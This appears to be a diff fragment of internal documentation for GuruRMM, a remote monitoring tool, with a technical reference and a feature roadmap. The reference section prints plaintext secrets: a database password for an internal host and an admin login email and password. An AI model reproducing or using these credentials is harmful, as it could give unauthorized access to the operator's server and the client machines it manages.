- Change the server to serialize `command_type` in the enum format the agent expects, OR
|
||||
- Change the agent to accept plain string values for `command_type`
|
||||
|
||||
---
|
||||
|
||||
## Claude Code Integration
|
||||
|
||||
### Architecture
|
||||
|
||||
The agent includes a built-in Claude Code executor for running AI-assisted tasks.
|
||||
|
||||
- **Singleton:** Global `ClaudeExecutor` via `once_cell::Lazy`
|
||||
- **Working Directory:** Restricted to `C:\Shares\test\` only
|
||||
- **Rate Limit:** 10 tasks per hour (sliding window)
|
||||
- **Max Concurrent:** 2 simultaneous tasks
|
||||
- **Default Timeout:** 300 seconds (max 600)
|
||||
- **Input Sanitization:** Blocks `& | ; $ ( ) < > \` \n \r`
|
||||
|
||||
### Claude Task Command Format
|
||||
|
||||
The server sends:
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "uuid",
|
||||
"command_type": "claude_task",
|
||||
"command": "task description",
|
||||
"timeout_seconds": 300,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
[WARNING] This also suffers from the command type mismatch bug. The agent expects `command_type` to be an object for ClaudeTask:
|
||||
|
||||
```json
|
||||
{
|
||||
"claude_task": {
|
||||
"task": "...",
|
||||
"working_directory": "...",
|
||||
"context_files": [...]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Exit Codes
|
||||
|
||||
| Code | Meaning |
|
||||
|------|------------------------------------------|
|
||||
| 0 | Task completed successfully |
|
||||
| 1 | Task failed |
|
||||
| 124 | Task timed out |
|
||||
| -1 | Executor error (rate limit, validation) |
|
||||
|
||||
---
|
||||
|
||||
## Agent Configuration
|
||||
|
||||
### agent.toml Format
|
||||
|
||||
```toml
|
||||
[server]
|
||||
url = "wss://rmm-api.azcomputerguru.com/ws"
|
||||
api_key = "SITE-CODE-1234" # or grmm_xxxxx API key
|
||||
|
||||
[metrics]
|
||||
interval_seconds = 60 # Range: 10-3600, default: 60
|
||||
collect_cpu = true
|
||||
collect_memory = true
|
||||
collect_disk = true
|
||||
collect_network = true
|
||||
|
||||
[watchdog]
|
||||
enabled = true
|
||||
check_interval_seconds = 30
|
||||
|
||||
[[watchdog.services]]
|
||||
name = "ServiceName"
|
||||
action = "restart"
|
||||
max_restarts = 3
|
||||
restart_cooldown_seconds = 60
|
||||
```
|
||||
|
||||
### Hardcoded Intervals
|
||||
|
||||
These values are currently not configurable via `agent.toml`:
|
||||
|
||||
| Interval | Value | Notes |
|
||||
|----------------------------|-------------|--------------------------------|
|
||||
| Heartbeat | 30 seconds | |
|
||||
| Network state check | 30 seconds | Uses hash-based change detection |
|
||||
| Connection idle timeout | 90 seconds | |
|
||||
| Auth timeout | 10 seconds | |
|
||||
| Reconnect delay | 10 seconds | |
|
||||
| Command execution timeout | 300 seconds | Configurable per command |
|
||||
|
||||
---
|
||||
|
||||
## Deployed Agents
|
||||
|
||||
| Hostname | Agent ID (prefix) | Version | OS | Status |
|
||||
|-------------|--------------------|---------|-----------------------------|---------|
|
||||
| ACG-M-L5090 | 97f63c3b-... | 0.5.1 | Windows 11 (26200) | online |
|
||||
| AD2 | d28a1c90-... | 0.5.1 | Windows Server 2016 (14393) | online |
|
||||
| gururmm | 8cd0440f-... | 0.5.1 | Ubuntu 22.04 | offline |
|
||||
| SL-SERVER | 2585f6d5-... | 0.5.1 | unknown | offline |
|
||||
| SL-SERVER | dff818e6-... | 0.5.1 | unknown | online |
|
||||
|
||||
---
|
||||
|
||||
## Database
|
||||
|
||||
### Connection Details
|
||||
|
||||
| Parameter | Value |
|
||||
|-----------|------------------------------------|
|
||||
| Host | 172.16.3.30 |
|
||||
| Port | 5432 |
|
||||
| Database | gururmm |
|
||||
| User | gururmm |
|
||||
| Password | 43617ebf7eb242e814ca9988cc4df5ad |
|
||||
|
||||
### Key Tables
|
||||
|
||||
| Table | Description |
|
||||
|---------------------|------------------------------------------------|
|
||||
| users | User accounts (JWT auth, Argon2id hashing) |
|
||||
| clients | Client organizations |
|
||||
| sites | Physical locations with API keys |
|
||||
| agents | RMM agent instances |
|
||||
| agent_state | Latest agent state (network, metrics snapshot) |
|
||||
| agent_updates | Agent update tracking |
|
||||
| alerts | System alerts |
|
||||
| commands | Remote command execution log |
|
||||
| metrics | Performance metrics time series |
|
||||
| policies | Configuration policies |
|
||||
| registration_tokens | Agent registration tokens |
|
||||
| watchdog_events | Service monitoring events |
|
||||
|
||||
---
|
||||
|
||||
## Authentication
|
||||
|
||||
### API Authentication (JWT)
|
||||
|
||||
1. Send `POST /api/auth/login` with `{ email, password }`
|
||||
2. Server validates credentials (Argon2id password hash)
|
||||
3. Returns JWT token (24-hour expiry)
|
||||
4. Include token in subsequent requests: `Authorization: Bearer <token>`
|
||||
|
||||
**Admin Credentials:**
|
||||
|
||||
| Field | Value |
|
||||
|----------|------------------------------------|
|
||||
| Email | claude-api@azcomputerguru.com |
|
||||
| Password | ClaudeAPI2026!@# |
|
||||
|
||||
### Agent Authentication (API Key)
|
||||
|
||||
Two authentication modes:
|
||||
|
||||
1. **Direct API Key** -- Agent sends `grmm_xxxxx` format key, server matches against `api_key_hash` (SHA256) in agents table
|
||||
2. **Site-Based** -- Agent sends site code (WORD-WORD-NUMBER format, e.g., `DARK-GROVE-7839`) combined with `device_id`, server looks up site and registers/matches agent
|
||||
|
||||
### SSO (Optional)
|
||||
|
||||
- **Provider:** Microsoft Entra ID
|
||||
- **Client ID:** 18a15f5d-7ab8-46f4-8566-d7b5436b84b6
|
||||
|
||||
---
|
||||
|
||||
## Auto-Update System
|
||||
|
||||
### Update Flow
|
||||
|
||||
```
|
||||
1. Agent connects via WebSocket and sends its version in the auth payload
|
||||
|
||||
2. Server checks if a newer version is available for the agent's OS/architecture
|
||||
|
||||
3. If update needed:
|
||||
-> Server sends Update message with download_url and SHA256 checksum
|
||||
|
||||
4. Agent downloads the new binary from the download URL
|
||||
|
||||
5. Agent verifies the SHA256 checksum
|
||||
|
||||
6. Agent replaces its own binary and restarts
|
||||
|
||||
7. On reconnection, agent reports previous_version in auth payload
|
||||
|
||||
8. Server marks the update as completed
|
||||
```
|
||||
|
||||
### Download Location
|
||||
|
||||
- **Server Path:** `/var/www/gururmm/downloads/`
|
||||
- **Public URL:** `https://rmm-api.azcomputerguru.com/downloads/`
|
||||
|
||||
---
|
||||
|
||||
## Known Issues
|
||||
|
||||
### CRITICAL
|
||||
|
||||
| ID | Type | Description |
|
||||
|----|------------|--------------------------------------------------------------------------------------------|
|
||||
| 1 | [BUG] | Command type mismatch between server (String) and agent (Enum) -- commands never execute |
|
||||
| 2 | [TODO] | Legacy heartbeat returns empty pending_commands (agents.rs line 334) |
|
||||
| 3 | [TODO] | Legacy command-result endpoint does not store results (agents.rs lines 354-360) |
|
||||
| 4 | [SECURITY] | CORS configured with AllowOrigin::Any -- should be restricted to known origins |
|
||||
|
||||
### MAJOR
|
||||
|
||||
| ID | Description |
|
||||
|----|--------------------------------------------------------------------------------|
|
||||
| 1 | No command timeout enforcement on server side |
|
||||
| 2 | No retry logic for failed WebSocket sends |
|
||||
| 3 | Database inconsistency: agent shows "online" but command sends fail silently |
|
||||
| 4 | Missing database indexes on frequently queried columns |
|
||||
| 5 | No rate limiting on command submissions |
|
||||
|
||||
### MINOR
|
||||
|
||||
| ID | Description |
|
||||
|----|--------------------------------------------------------------------------|
|
||||
| 1 | Hardcoded intervals (heartbeat, network check) not configurable |
|
||||
| 2 | Watchdog events logged but not stored in database |
|
||||
| 3 | No log rotation configured |
|
||||
| 4 | Unicode characters in agent output (should use ASCII per coding guidelines) |
|
||||
|
||||
---
|
||||
|
||||
## Development
|
||||
|
||||
### Building
|
||||
|
||||
```bash
|
||||
# Server
|
||||
cd server && cargo build --release
|
||||
|
||||
# Agent (Windows, native service mode)
|
||||
cd agent && cargo build --release
|
||||
|
||||
# Agent (Legacy mode for Windows 7 / Server 2008 R2)
|
||||
cd agent && cargo build --release --features legacy --no-default-features
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
```bash
|
||||
cargo test # Run unit tests
|
||||
cargo clippy # Run linter
|
||||
cargo fmt --check # Check formatting
|
||||
```
|
||||
|
||||
### Deploying the Server
|
||||
|
||||
```bash
|
||||
# On gururmm server (172.16.3.30)
|
||||
systemctl stop gururmm-server
|
||||
cp target/release/gururmm-server /opt/gururmm/
|
||||
systemctl start gururmm-server
|
||||
journalctl -u gururmm-server -f
|
||||
```
|
||||
|
||||
### Deploying the Agent
|
||||
|
||||
```cmd
|
||||
REM On target Windows machine
|
||||
sc stop GuruRMM
|
||||
copy gururmm-agent.exe "C:\Program Files\GuruRMM\gururmm-agent.exe"
|
||||
sc start GuruRMM
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
```
|
||||
D:\ClaudeTools\projects\msp-tools\guru-rmm\
|
||||
|
|
||||
+-- agent/
|
||||
| +-- src/
|
||||
| | +-- main.rs # Entry point, CLI parsing, service install
|
||||
| | +-- config.rs # TOML config loading and validation
|
||||
| | +-- claude.rs # Claude Code executor (rate-limited singleton)
|
||||
| | +-- service.rs # Windows service handler (native-service feature)
|
||||
| | +-- device_id.rs # Hardware-based device ID generation
|
||||
| | +-- transport/
|
||||
| | | +-- mod.rs # Message types (AgentMessage, ServerMessage, CommandType enum)
|
||||
| | | +-- websocket.rs # WebSocket client, reconnection, command execution
|
||||
| | +-- metrics/
|
||||
| | | +-- mod.rs # System metrics collection, network state hashing
|
||||
| | +-- updater/
|
||||
| | +-- mod.rs # Self-update logic (download, verify, replace)
|
||||
| +-- deploy/ # Deployment configs per site
|
||||
| +-- Cargo.toml # v0.3.5, features: native-service, legacy
|
||||
|
|
||||
+-- server/
|
||||
| +-- src/
|
||||
| | +-- main.rs # Axum server setup, router, middleware
|
||||
| | +-- api/
|
||||
| | | +-- mod.rs # Route definitions and grouping
|
||||
| | | +-- agents.rs # Agent management + legacy polling endpoints
|
||||
| | | +-- commands.rs # Command dispatch and status tracking
|
||||
| | | +-- auth.rs # JWT login, registration, user info
|
||||
| | | +-- clients.rs # Client CRUD operations
|
||||
| | | +-- sites.rs # Site management and API key regeneration
|
||||
| | | +-- metrics.rs # Metrics query endpoints
|
||||
| | +-- ws/
|
||||
| | | +-- mod.rs # WebSocket handler, ServerMessage types, CommandPayload (String type)
|
||||
| | +-- db/
|
||||
| | | +-- agents.rs # Agent database operations
|
||||
| | | +-- commands.rs # Command database operations
|
||||
| | +-- auth/
|
||||
| | +-- mod.rs # JWT middleware and token validation
|
||||
| +-- Cargo.toml # v0.2.0
|
||||
|
|
||||
+-- dashboard/ # React frontend (if present)
|
||||
|
|
||||
+-- docs/
|
||||
+-- FEATURE_ROADMAP.md # Complete feature plan (654 lines)
|
||||
+-- REMEDIATION_PLAN.md # Security and code review (1277 lines)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Item | Value |
|
||||
|--------------------|---------------------------------------------|
|
||||
| Server URL | https://rmm-api.azcomputerguru.com |
|
||||
| WebSocket URL | wss://rmm-api.azcomputerguru.com/ws |
|
||||
| Internal Address | 172.16.3.30:3001 |
|
||||
| Database | PostgreSQL @ 172.16.3.30:5432/gururmm |
|
||||
| Service Name | gururmm-server (systemd) |
|
||||
| Agent Service | GuruRMM (Windows SCM) |
|
||||
| Agent Config | C:\ProgramData\GuruRMM\agent.toml |
|
||||
| Agent Binary | C:\Program Files\GuruRMM\gururmm-agent.exe |
|
||||
| Downloads | https://rmm-api.azcomputerguru.com/downloads/ |
|
||||
| Admin Email | claude-api@azcomputerguru.com |
|
||||
| SSO Client ID | 18a15f5d-7ab8-46f4-8566-d7b5436b84b6 |
|
||||
|
||||
---
|
||||
|
||||
*Document generated 2026-02-17. Source of truth for GuruRMM project reference.*
|
||||
@@ -1,251 +0,0 @@
|
||||
# GuruRMM - Feature Roadmap & Change Requests
|
||||
|
||||
Tracked list of desired features, improvements, and changes. Used to evaluate whether the current codebase supports these goals or if a rewrite is needed.
|
||||
|
||||
**Last Updated:** 2026-04-15
|
||||
|
||||
---
|
||||
|
||||
## Terminology (canonical)
|
||||
|
||||
Decided 2026-04-15. Use these exact terms in code, UI, API, docs, and conversation. Don't invent synonyms.
|
||||
|
||||
| Tier | Term | DB column | Meaning | Example |
|
||||
|---|---|---|---|---|
|
||||
| 1 | **Platform** | — | The software author (us) | GuruRMM |
|
||||
| 2 | **Partner** | `tenant_id` | An MSP — a paying customer of the Platform | "Acme IT Services" |
|
||||
| 3 | **Client** | `client_id` | A Partner's customer | "Dataforth Corp" |
|
||||
| 4 | **Site** | `site_id` | A location or logical grouping within a Client | "Dataforth Tucson HQ" |
|
||||
| 5 | **Agent** | `agent_id` | An endpoint at a Site | AD2, SL-SERVER |
|
||||
|
||||
**Notes:**
|
||||
- UI/API use "Partner"; DB uses `tenant_id` (industry-standard term for isolation). Do not rename `tenant_id` in code.
|
||||
- "Client" may collide with HTTP-client terminology in context; when ambiguous, use "client org" or "client account".
|
||||
- **Site** is not always a physical location — can be a DMZ, VLAN, cloud region, whatever grouping makes sense for that Client.
|
||||
- **Do not use** "sub-tenant" or "customer" (ambiguous across tiers).
|
||||
- User roles: Platform admin (us), Partner admin, Partner tech, Client contact (limited read access to their own data).
|
||||
- Optional Department/OU tier inside a Site is deferred until a real customer asks for it.
|
||||
- MSPs can label-override their UI via `partner_settings.label_overrides` JSONB (e.g., rename "Client"→"Customer" for their branded view) — supported without schema changes.
|
||||
|
||||
**API path convention:** `/api/public/v1/partners/{partner_id}/clients/{client_id}/sites/{site_id}/agents/{agent_id}`
|
||||
|
||||
**Event bus topic convention:** `agent.online`, `site.created`, `client.deleted`, `partner.upgraded`, etc.
|
||||
|
||||
---
|
||||
|
||||
## Dashboard / UI
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| D1 | All metrics clickable to relevant content | High | Done | Stat cards link to filtered agent views |
|
||||
| D2 | Dark theme with branded sidebar | High | Done | JetBrains Mono + Plus Jakarta Sans, GURURMM MISSION CONTROL branding |
|
||||
| D3 | Command cancel/delete/clear history | Medium | Done | Cancel pending/running, delete any, bulk clear finished |
|
||||
| D4 | Global search across all agent details | High | Open | Search by hostname, MAC, IP, OS, version -- any agent field. Dashboard main page. |
|
||||
| D5 | Clickable metric cards on agent detail -> drill-down views | High | Open | CPU card -> process list sorted by CPU%. Memory card -> process list sorted by RAM. Disk card -> drive/folder usage breakdown. Sortable tables. |
|
||||
| D6 | Real-time terminal (PS/cmd) via WebSocket tunnel | High | Open | Interactive shell session relayed through server. Separate from check-in process. Spawns on demand, full bidirectional I/O. |
|
||||
| D7 | Remote file system browser | High | Open | Browse, upload, download, rename, delete files on agent. Tree view + detail pane. Via real-time tunnel. |
|
||||
| D8 | Remote registry editor (Windows) | Medium | Open | Browse/edit/create/delete registry keys and values. Tree view like regedit. Via real-time tunnel. |
|
||||
| D9 | Remote services manager | High | Open | List all services with status. Start/stop/restart/disable/enable/edit startup type. Sortable, searchable. Via real-time tunnel. |
|
||||
| D10 | | | | |
|
||||
|
||||
## Agent / Installer
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| A1 | Site-code-based installers (no API keys) | High | Done | /install/:site_code/* endpoints, binary with embedded config |
|
||||
| A2 | Public shareable install links per client | High | Done | Landing page at /install/:site_code with OS detection |
|
||||
| A3 | Capture full OS detail (distro/version) | High | Open | Linux agents just report "linux" -- should capture distro name and version (e.g., Ubuntu 22.04, Debian 12). Agent-side change to collect, server-side to store/display. |
|
||||
| A4 | Reliable CPU/GPU temperature collection | High | Open | Not working on any machine currently. Windows: WMI/OpenHardwareMonitor/LibreHardwareMonitor. Linux: lm-sensors/sysfs thermal zones. Need fallback chain. |
|
||||
| A5 | Process list collection (CPU%, RAM, disk I/O) | High | Open | Needed for D5 drill-downs. Agent collects top processes, sends on demand or as part of extended state. |
|
||||
| A6 | Disk usage detail (per-drive, large folders) | Medium | Open | Needed for D5 disk drill-down. Per-partition usage + optional large folder scan. |
|
||||
| A7 | | | | |
|
||||
|
||||
## Server / API
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| S1 | Claude Code integration (claude_task command type) | Medium | Planned | gururmm-agent project has the Rust module, not yet integrated |
|
||||
| S2 | Stackable/inheritable policy system | High | Open | Policies at Company > Site > Machine levels. Lower level overrides higher. Merge behavior for non-conflicting settings. |
|
||||
| S3 | Dynamic groups based on agent attributes | High | Open | Rule-based groups (e.g., RAM <= 8GB, OS = Windows 10, disk > 90%). Policies can target dynamic groups. |
|
||||
| S4 | Policy actions: custom script execution | High | Open | Policies can trigger scripts (PowerShell/bash) on matching agents. Scheduled or on-demand. |
|
||||
| S5 | Customizable alerting system | High | Open | User-defined alert rules: offline detection, disk space thresholds, SMART errors, RAID degradation, bad sectors, CPU/RAM sustained high, temp thresholds. Configurable severity, notification channels, escalation. |
|
||||
| S6 | Alert notification channels | Medium | Open | Email, webhook, Slack/Teams integration, push notifications. Per-alert-rule routing. |
|
||||
| S7 | Real-time tunnel mechanism (separate from check-in) | High | Phase 1 Done | Session lifecycle REST+WS+DB+agent state machine complete (2026-04-14 / verified 2026-04-15). Phase 2 (channels) tracked under Tunnel Channels section below. |
|
||||
| S8 | Closed-session status endpoint returns 403 | Medium | Open | `GET /api/v1/tunnel/status/{id}` returns 403 for closed sessions (should return `{status: closed}`). Root cause: `verify_session_ownership()` applies `WHERE status='active'` before ownership check. Fix in `server/src/db/tunnel.rs:94-103`. |
|
||||
| S9 | | | | |
|
||||
|
||||
## Tunnel Channels (Phase 2)
|
||||
|
||||
On-demand capabilities layered on top of the tunnel session framework. Each channel is a typed WebSocket payload pair (request/response) routed by `channel_id` under an open `tech_session`. All channel operations are audited per Logging & Audit section.
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| T1 | Terminal channel (interactive shell) | High | Open | `TunnelDataPayload::Terminal { command }` → `TerminalOutput { stdout, stderr, exit_code }` (types exist in `server/src/ws/mod.rs:310-319`, agent stub at `agent/src/transport/websocket.rs:408-434`). Implement via `tokio::process::Command` with configurable timeout (default 30s). 80% of field use cases. Ship before other channels. |
|
||||
| T2 | File channel (upload/download/rename/delete + tree browse) | High | Open | Covers D7. Stream file bytes in chunks over WS with progress. Path safety (no `..` traversal). Needs allowlist vs freeform decision. |
|
||||
| T3 | Registry channel (Windows) | Medium | Open | Covers D8. Read/write/create/delete keys + values. Use `winreg` crate. Gate to tenant admins only. |
|
||||
| T4 | Service channel (Windows services) | High | Open | Covers D9. List/start/stop/restart/change-startup-type. `windows-service` crate. |
|
||||
| T5 | Tech-side tunnel subscriber | High | Open | **Blocks all channels.** Browser currently has no mechanism to receive tunnel data from server. Design: `GET /api/v1/tunnel/stream/{session_id}` WebSocket + in-memory `HashMap<session_id, mpsc::Sender<TunnelData>>` pub-sub. |
|
||||
| T6 | Server-side forward path | High | Open | `server/src/ws/mod.rs:808-825` currently logs+drops incoming `AgentMessage::TunnelData`. Wire to T5 pub-sub + tunnel_audit INSERT. |
|
||||
| T7 | Working directory / shell choice / elevation decisions | High | Open | Terminal channel design decisions: cwd allowlist vs free-form; PowerShell vs cmd on Windows; admin elevation gating by role. |
|
||||
| T8 | Channel concurrency + rate limits | Medium | Open | Multiple channels in one session. Per-channel rate/quota. Output size cap (default 1 MB/command). |
|
||||
| T9 | | | | |
|
||||
|
||||
## Logging, Audit & Observability
|
||||
|
||||
Three-tier design decided 2026-04-15. Each tier has distinct purpose, storage, retention, and consumer.
|
||||
|
||||
**Design principles:**
|
||||
- **Agent self-logging** uses OS-native mechanisms (no custom transport). Troubleshoot with familiar tools.
|
||||
- **Client machine health** via OS event log pulls. Feeds dashboard and alerting.
|
||||
- **Tunnel audit** captured directly to RMM DB. Non-negotiable, never scrubbed, designed for legal/compliance retention.
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| L1 | Agent self-logging via OS-native sinks | High | Open | Windows Event Log (custom `GuruRMM-Agent` provider registered at install), Linux systemd/journald (`tracing` → stdout when run as unit), macOS unified log (`os_log` crate). Verbosity per-tenant configurable. Default INFO. |
|
||||
| L2 | Client event log pull + summarize | High | Open | Agent polls OS event log on schedule; ships filtered events to server `client_events` table. Windows: `Get-WinEvent -Level 1,2 -MaxEvents N`. Linux: `journalctl -p err --output json`. macOS: `log show --predicate 'messageType == error' --style json`. |
|
||||
| L3 | L2 cadence — default 15-min delta poll + on tunnel open/close | High | Open | Default 900s. On tunnel open: force delta pull so tech has fresh context. On tunnel close: force delta pull to capture anything tech's actions triggered. Configurable per-tenant in dashboard. |
|
||||
| L4 | L2 levels — default Critical + Error + Warning | High | Open | Configurable per-tenant. Default: Critical(1), Error(2), Warning(3). Separate "noisy" bucket (Info/Debug/Audit/Notification) pulled every 4h default. |
|
||||
| L5 | Tunnel audit — every tech action persisted | High | Open | Reuse existing `tunnel_audit` table (migration 010, unused today). Every command, file op, registry op, service op gets INSERT with session_id, channel_id, operation, details JSONB. No scrubbing — must retain sensitive input if a tech types it. |
|
||||
| L6 | Retention config | High | Open | `client_events`: 90 days default, tenant configurable. `tunnel_audit` (live): 90 days default, tenant configurable. `tunnel_audit` (archive): indefinite, system-level rotation to object storage. Agent self-logs follow OS-native retention policy. |
|
||||
| L7 | Tunnel audit archive rotation | High | Open | Monthly job: aged partitions of `tunnel_audit` → compressed JSONL or Parquet in S3/R2/MinIO. Naming: `tunnel_audit/tenant_id={uuid}/year={YYYY}/month={MM}.jsonl.gz`. Dashboard "deep search" endpoint queries archive on demand (Athena/DuckDB). |
|
||||
| L8 | Agent config push | High | Open | On agent WS connect, server sends `ServerMessage::Config { tenant_settings }`. Real-time updates when tenant admin changes settings in dashboard. Agent adjusts poll cadence + event level filters live without restart. |
|
||||
| L9 | Dashboard surfaces for L2 (client_events) | Medium | Open | Red-number badge on agent tile (count of unresolved errors last 24h). Time-sorted feed on agent detail page with filter/search. Acknowledge/dismiss individual events. |
|
||||
| L10 | Sensitive-data-at-rest protection | High | Open | `tunnel_audit` may contain unscrubbed credentials. Postgres TDE or full-disk encryption on server. Access to audit tables strictly admin-role-gated. Meta-audit: log every `SELECT` on `tunnel_audit` to separate table. Document in tech SOP: "every tunnel keystroke is logged." |
|
||||
| L11 | | | | |
|
||||
|
||||
## Multi-tenancy / MSP SaaS
|
||||
|
||||
Goal stated 2026-04-15: make this a marketable product for other MSPs. Multi-tenancy must be baked in from here on — adding `tenant_id` later would be a brutal migration.
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| M1 | Core tenancy schema | High | Open | New tables: `tenants` (id, name, plan, status, created_at), `tenant_settings` (tenant_id, key, value JSONB), `msp_users` (superadmins across tenants), `tenant_users` (tech ↔ tenant join with role). Add `tenant_id UUID` FK to: `agents`, `tech_sessions`, `tunnel_audit`, `client_events`, `commands`, any other per-customer table. |
|
||||
| M2 | Tenant-scoped authorization | High | Open | JWT carries `tenant_id` + `role`. Every query must filter by tenant_id (middleware). Super-admin role bypasses for GuruRMM staff. Penalty for bugs here: data leakage across tenants. |
|
||||
| M3 | Tenant admin dashboard | High | Open | UI for MSP admins to configure their tenant settings (L3/L4/L6 cadences, levels, retention). Super-admin can override across tenants. |
|
||||
| M4 | Billing / licensing meter | Medium | Open | Per-agent-per-month is standard for RMM. Needs usage counter from day one. Consider Stripe Billing or manual invoicing to start. |
|
||||
| M5 | Data residency options | Low | Open | Some MSPs require on-prem or regional hosting. Architectural impact: deployment model (single-tenant vs multi-tenant DB), encryption key management. Not required for MVP. |
|
||||
| M6 | Tenant export API | Medium | Open | MSPs with SOC2/PCI customers will need to export their tenant's audit trail. `GET /api/v1/tenants/{id}/export` producing JSONL or Parquet. Self-service for portability. |
|
||||
| M7 | Onboarding flow | High | Open | MSP signs up → tenant provisioned → first site created → install link generated → agent installs → first heartbeat → onboarding complete. End-to-end wizard. |
|
||||
| M8 | | | | |
|
||||
|
||||
## Infrastructure / Operations
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| I1 | Automate dark class injection in deploy | Low | Open | Vite strips class="dark" -- need Vite plugin or build script |
|
||||
| I2 | Resolve stashed local changes on server | Medium | Open | git stash on 172.16.3.30 has divergent dev work |
|
||||
| I3 | CI/CD webhook auto-builds on push | Low | Exists | webhook at /webhook/build, build-agents.sh -- needs dashboard build added |
|
||||
| I4 | | | | |
|
||||
|
||||
---
|
||||
|
||||
## Modular Architecture & Public APIs
|
||||
|
||||
Goal stated 2026-04-15: the product should be modular from inception. Future modules under consideration: PSA/CRM, remote syslog aggregation, backups, likely more. Both first-party (us) and eventually third-party (other developers, customers) should be able to build modules against stable, versioned interfaces. End users should also have API access to automate against their own data.
|
||||
|
||||
**Architectural principles:**
|
||||
- **Core is thin + opinionated.** Tenants, agents, auth, audit, command dispatch, tunnel framework — that's the "kernel." Everything else is a module.
|
||||
- **Modules own their data.** Each module owns a schema namespace (`psa_*`, `backup_*`, `syslog_*`) and never writes directly to another module's tables. Cross-module data access goes through module-exposed APIs.
|
||||
- **Event bus for cross-cutting communication.** Agent.online, tunnel.opened, command.completed, client_event.received — core publishes, any module subscribes.
|
||||
- **Public API is a first-class product surface**, not an afterthought. OpenAPI spec, semver-versioned, rate-limited, key-authenticated, documented.
|
||||
- **Boundary discipline:** if it's tempting to reach across a module boundary, that's a signal to add an API there instead. Breaking this discipline once kills the modularity.
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| X1 | Core vs. module boundary definition | High | Open | Document what's "core" (tenants, agents, auth, audit, command dispatch, tunnel framework, bootstrap) vs. what's a module (everything else). Codify via separate crates / modules in the Rust workspace (`core/`, `modules/psa/`, `modules/backups/`, etc.). Enforce via build system — module code cannot `use` private core internals, only the exposed `core::api::*` surface. |
|
||||
| X2 | Module manifest / registration | High | Open | Each module ships a `module.toml` declaring: name, version, provides (APIs exposed), consumes (events/APIs used), permissions required (read_agents, write_commands, read_audit, etc.). Loaded at server startup; dashboard reflects installed modules. |
|
||||
| X3 | Event bus | High | Open | NATS JetStream or Redis Streams. Every significant core action emits a typed event (`agent.online`, `agent.offline`, `tunnel.opened`, `tunnel.closed`, `command.completed`, `client_event.received`, `tenant.created`). Modules subscribe via the bus, not via direct core calls. Decouples timing + enables async modules. |
|
||||
| X4 | Module-to-core APIs | High | Open | Core exposes a stable in-process API for modules: `core::agents::list(tenant_id)`, `core::commands::enqueue(...)`, `core::audit::record(...)`. Versioned like `core_api_v1`, `core_api_v2`. Modules declare which version they require. |
|
||||
| X5 | Module-to-module APIs | Medium | Open | Modules can expose their own APIs for other modules to consume. Example: PSA module exposes `psa::tickets::create()` which a Backups module could call when a backup fails. All via the module registry — no direct imports. |
|
||||
| X6 | Public REST API (for end users + integrations) | High | Open | Versioned under `/api/public/v1/`. OpenAPI 3.1 spec auto-generated. Rate-limited per API key. Scoped API keys (read-only / write / admin). Separate from internal `/api/v1/` used by dashboard. Publish spec at `/api/public/v1/openapi.json`. |
|
||||
| X7 | API key management | High | Open | Dashboard UI: tenants create/revoke/rotate API keys, scope per key, view last-used and usage stats. Keys carry tenant_id. JWT session tokens (for dashboard) are separate from API keys (for machines). |
|
||||
| X8 | Public webhook subscriptions | High | Open | Tenants subscribe to events via webhook URL. Event bus (X3) feeds a delivery worker that signs payloads (HMAC), retries with backoff, tracks delivery status in DB. Lets customers integrate without polling. |
|
||||
| X9 | Third-party module sandbox | Medium | Open | Future work. Options: (a) WebAssembly modules loaded at runtime with capability-based access to core APIs; (b) signed OCI container images run as sidecars with mTLS. (a) is better UX but maturity risk. (b) is ops-heavy but proven. Decide when third-party demand is real. |
|
||||
| X10 | Module billing isolation | Medium | Open | Each module can have independent pricing (PSA seat-based, Backups GB-based, RMM per-agent). Core billing meter (M4) becomes per-module, aggregates to tenant invoice. Enable tenants to subscribe to some modules but not others. |
|
||||
| X11 | Module upgrade independence | Medium | Open | Modules version independently of core. Core API versioning (X4) lets modules pin `core_api_v2` and survive core updates. Dashboard shows which modules need upgrades for a new core release. |
|
||||
| X12 | Module discoverability / marketplace | Low | Open | Eventually: marketplace UI for MSPs to browse/install first- and third-party modules. Signed+reviewed entries only. Revenue share for third-party developers. Many moons away, design constraint for now: don't paint ourselves into a corner. |
|
||||
| X13 | | | | |
|
||||
|
||||
### Module candidates currently in mind
|
||||
|
||||
Capture these now so the core API design has concrete use cases to validate against:
|
||||
|
||||
- **PSA/CRM module** — tickets, time tracking, contracts, invoicing. Likely largest module, heaviest DB load. Consumes: `agent.online`, `client_event.received`, `command.completed`. Exposes: `psa::tickets::create|assign|close`, `psa::time::log`.
|
||||
- **Remote Syslog module** — aggregates syslog/Windows Event Log from customer devices to a central searchable store. Consumes: `client_event.received`. Exposes: `syslog::query|subscribe`. Heavy ingest.
|
||||
- **Backups module** — schedules, monitors, reports on backup jobs (Veeam, Datto, Acronis, Synology, etc.). Consumes: integrations with third-party backup products (pull). Exposes: `backups::status|history|alert`. Compliance-sensitive.
|
||||
- **Patch management** — track OS + app patch levels, schedule installs, report compliance.
|
||||
- **Documentation (IT Glue-style)** — customer environment docs, credential vault, runbooks. Deep integration with PSA (customer entity shared).
|
||||
- **Remote access** — already covered by core tunnel framework; could grow into its own "pro" module with session recording, MFA-gated elevation, etc.
|
||||
- **Network monitoring** — SNMP/ping monitoring of non-agent devices (switches, printers, UPSs).
|
||||
|
||||
## Protocol Versioning & Stale-Agent Recovery
|
||||
|
